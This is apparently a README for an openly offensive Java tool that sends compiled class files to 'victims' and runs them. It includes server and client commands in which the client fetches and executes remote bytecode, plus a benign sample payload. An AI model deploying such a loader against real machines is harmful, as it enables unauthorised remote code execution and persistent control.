Java Remote Class Loader | Tool To Send Java Bytecode To Your Victims

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients (or potential targets) to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written in Java and compiled before starting the server.

Features

  • Client-server architecture
  • Remote loading of Java class files
  • In-transit encryption using ChaCha20 cipher
  • Settings defined via args
  • Keepalive mechanism to re-establish communication if server restarts

Installation

Tool has been tested using OpenJDK 11 with JRE Java Package, both on Windows and Linux (zip portable version). Java version should be 11 or higher due to dependencies.

Usage

$ java -jar java-class-loader.jar -help usage: Main -address address to connect (client) / to bind (server) -classfile filename of bytecode .class file to load remotely (default: Payload.class) -classmethod name of method to invoke (default: exec) -classname name of class (default: Payload) -client run as client -help print this message -keepalive keeps the client getting classfile from server every X seconds (default: 3 seconds) -key secret key - 256 bits in base64 format (if not specified it will generate a new one) -port port to connect (client) / to bind (server) -server run as server

Example

Assuming you have the following Hello World payload in the Payload.java file:

//Payload.java public class Payload { public static String exec() { String output = β€œβ€; try { output = β€œHello world from client!”; } catch (Exception e) { e.printStackTrace(); } return output; } }

Then you should compile and produce the respective Payload.class file.

To run the server process listening on port 1337 on all net interfaces:

$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class Running as server Server running on 0.0.0.0:1337 Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

On the client side, you may use the same JAR package with the -client flag and use the symmetric key generated by server. Specify the server IP address and port to connect to. You may also change the class name and class method (defaults are Payload and String exec() respectively). Additionally, you can specify -keepalive to keep the client requesting class file from server while maintaining the connection.

$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ= Running as client Connecting to 192.168.1.73:1337 Received 593 bytes from server Output from invoked class method: Hello world from client! Sent 24 bytes to server

References

Refer to https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/ for a blog post related with the development of this tool.

  1. https://github.com/rebeyond/Behinder
  2. https://github.com/AntSwordProject/antSword
  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/
  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis
  5. https://xz.aliyun.com/t/2799
  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7
  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/
  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php
  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/
  10. https://openjdk.org/jeps/329
  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html
  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

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